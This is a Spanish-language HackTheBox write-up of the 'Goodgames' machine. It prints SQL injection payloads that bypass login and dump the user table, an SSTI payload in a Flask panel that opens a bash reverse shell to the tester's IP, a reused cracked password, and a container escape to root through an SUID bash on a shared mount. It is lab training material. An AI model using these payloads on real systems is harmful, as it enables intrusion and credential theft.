Goodgames es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Goodgames 10.10.11.130 a /etc/hosts como goodgames.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 |
nmap -sV -sC -oA enumeration/nmap 10.10.11.130 Nmap scan report for 10.10.11.130 Host is up (0.042s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 |_http-title: GoodGames | Community and Store |_http-server-header: Werkzeug/2.0.2 Python/3.9.2 Service Info: Host: goodgames.htb Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jul 15 11:11:57 2022 -- 1 IP address (1 host up) scanned in 9.37 seconds |
Vemos un apache en el puerto 80 así que vamos a investigar el mismo.
Enumeración
Accedemos al puerto 80 a través del navegador y vemos la siguiente página web
Revisamos el portal y no vemos gran cosa, pero si un formulario de registro en el cual nos vamos a crear una cuenta
Así que una vez creada nuestra cuenta, accedemos a la misma y nos muestra un mensaje de bienvenida
Y acto seguido nos redirige a la página del perfil del usuario. Revisamos un poco pero no podemos hacer mucho más por el momento así que vamos a abrir burp suite, interceptaremos la petición, la enviaremos al repeater y trataremos de llevar un ataque sqli, el cual es exitoso con el siguiente código
1 |
' or 1=1 -- -; |
Así que si interceptamos una nueva petición y la enviamos con el mismo payload conseguimos acceder al portal como el usuario admin
Visto que es vulnerable a este tipo de ataque, vamos a tratar de obtener más información al respecto.
Trataremos en primer lugar de obtener el número de campos existentes y lo conseguimos con el siguiente payload
1 |
email=' union select 1,1,1,1-- -;&password=byte123 |
Y al lanzar el mismo nos muestra el mensaje Welcome 1
A continuación vamos a obtener el esquema de base de datos, que es main
1 |
email=' union select 1,1,1,database()-- -;&password=byte123 |
Vamos a obtener los esquemas existentes en el servidor
1 |
email=' union select 1,1,1,concat(schema_name, ':') from information_schema.schemata-- -;&password=byte123 |
Nos interesa conocer más del esquema main así que vamos a obtener las tablas exitentes en el mismo
1 |
email=' union select 1,1,1,concat(table_name, ':') from information_schema.tables where table_schema='main'-- -;&password=byte123 |
Viendo las tablas existentes, nos interesa la tabla user, así que vamos a obtener las columnas existentes en el mismo
1 |
email=' union select 1,1,1,concat(column_name, ':') from information_schema.columns where table_name='user'-- -;&password=byte123 |
Y ahora que ya tenemos los campos existentes en la tabla user, vamos a obtener su contenido
1 |
email=' union select 1,1,1,concat(id,':',email,':',password,':',name) from user-- -;&password=byte123 |
En el cual obtenemos los datos de dos usuarios, el usuario admin, y el que creamos nosotros previamente
1 2 |
1:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec:admin 2:bytemind@goodgames.htb:b71d0317eedb37e84688d773c0642aa5:bytemind |
Vamos a tratar de obtener la clave del usuario admin en plano, y en este caso es tan sencillo que una simple búsqueda en google nos da el resultado sin tener que hacer nada más
Ahora que ya tenemos la clave del usuario admin, si volvemos a fijarnos en el perfil de dicho usuario, hay un enlace en la parte superior derecha que apunta a una nueva dirección
1 |
internal-administration.goodgames.htb |
Así que añadimos la misma a nuestro fichero /etc/hosts y accedemos, para ver un panel de login del framework Flask Volt
Accedemos con las credenciales obtenidas anteriormente y entramos al dashboard del portal
Revisamos el portal y encontramos que podemos editar los campos del perfil del usuario, así que vamos a buscar alguna vulnerabilidad y encontramos que flask ha tenido vulnerabilidades de SSTI así que vamos a tratar de explotarla.
Editaremos el nombre del usuario con el siguiente payload
1 |
{{ 4*4 }} |
Y observamos que funciona, y modifica el nombre por la multiplicación de 4 x 4
Así que viendo que es vulnerable vamos a tratar de obtener una shell por este método. Editaremos de nuevo el nombre utilizando el siguiente payload
1 |
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"').read() }} |
Y obtendremos una shell dentro de la máquina
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from goodgames.htb [10.10.11.130] 42382 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@3a453ab39d3d:/backend# id id uid=0(root) gid=0(root) groups=0(root) root@3a453ab39d3d:/backend# |
Obteniendo la flag de user
Somos root directamente, pero viendo el hostname de la máquina apunta a que va a ser un contenedor, y si nos fijamos bien encontramos un fichero dockerenv en la raíz que lo confirma
1 2 3 |
root@3a453ab39d3d:/# ls -la /.dockerenv ls -la /.dockerenv -rwxr-xr-x 1 root root 0 Nov 5 2021 /.dockerenv |
Revisamos los discos existentes y vemos que está montada la home del usuario augustus
1 2 3 4 5 6 7 8 9 10 |
root@3a453ab39d3d:/# df -h df -h Filesystem Size Used Avail Use% Mounted on overlay 6.3G 5.3G 718M 89% / tmpfs 64M 0 64M 0% /dev tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/sda1 6.3G 5.3G 718M 89% /home/augustus shm 64M 0 64M 0% /dev/shm tmpfs 2.0G 0 2.0G 0% /proc/acpi tmpfs 2.0G 0 2.0G 0% /sys/firmware |
Así que accedemos a la misma y conseguimos la primera flag
1 2 3 4 5 6 7 8 |
root@3a453ab39d3d:/home/augustus# ls -l ls -l total 4 -rw-r----- 1 root 1000 33 Jul 15 11:10 user.txt root@3a453ab39d3d:/home/augustus# cat user.txt cat user.txt 4xxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 root@3a453ab39d3d:/home/augustus# |
Escalado de privilegios
Ya tenemos la primera flag, pero antes de poder escalar privilegios, necesitamos poder salir del contenedor, ya que en el mismo ya somos root.
Para hacer un poco más amigable la experiencia vamos a obtener una shell interactiva mediante el uso del comando script
1 2 3 4 |
root@3a453ab39d3d:/backend# script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null |
Revisamos las interfaces de red configuradas en el contenedor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
root@3a453ab39d3d:/home/augustus# ifconfig ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255 ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet) RX packets 4443 bytes 728998 (711.9 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 3733 bytes 4908646 (4.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 |
Y vemos que está configurado con la ip 172.19.0.2, así que por probar vamos a ver si hay algo en la dirección 172.19.0.1 y haciendo un simple curl vemos que se trata del portal web sobre el que estuvimos trabajando al principio de esta máquina.
Probamos a acceder por ssh con el usuario augustus y la clave obtenida anteriormente y bingo, estamos dentro
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1 ssh augustus@172.19.0.1 The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established. ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0. Are you sure you want to continue connecting (yes/no)? yes yes Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts. augustus@172.19.0.1's password: superadministrator Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. augustus@GoodGames:~$ id id uid=1000(augustus) gid=1000(augustus) groups=1000(augustus) |
Revisamos la máquina y no vemos tampoco mucha cosa que nos haga ganar privilegios, así que recordamos que la home del usuario augustus estaba montada en el contenedor, contenedor sobre el cual tenemos permisos de root, así que podemos utilizar esto para conseguir privilegios.
Copiaremos el binario de bash a la home del usuario
1 2 |
augustus@GoodGames:~$ cp /bin/bash . cp /bin/bash . |
Una vez hecho esto, volveremos al contenedor para darle permisos al binario, principalmente el permiso de suid para ejecutarlo como root
1 2 3 4 5 6 7 8 9 |
root@3a453ab39d3d:/home/augustus# chown root. bash chown root. bash root@3a453ab39d3d:/home/augustus# chmod 4777 bash chmod 4777 bash root@3a453ab39d3d:/home/augustus# ls -l ls -l total 1212 -rwsrwxrwx 1 root root 1234376 Jul 15 12:50 bash -rw-r----- 1 root 1000 33 Jul 15 11:10 user.txt |
Volvemos a acceder a la otra máquina y ejecutamos el binario de bash modificado para obtener el escalado a root
1 2 3 4 5 |
augustus@GoodGames:~$ ./bash -p ./bash -p bash-5.1# id id uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus) |
Obteniendo la flag de root
Ahora que ya tenemos permisos de root, vamos a por nuestra flag
1 2 3 4 5 6 7 |
bash-5.1# ls -l /root ls -l /root total 4 -rw-r----- 1 root root 33 Jul 15 12:10 root.txt bash-5.1# cat /root/root.txt cat /root/root.txt 1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace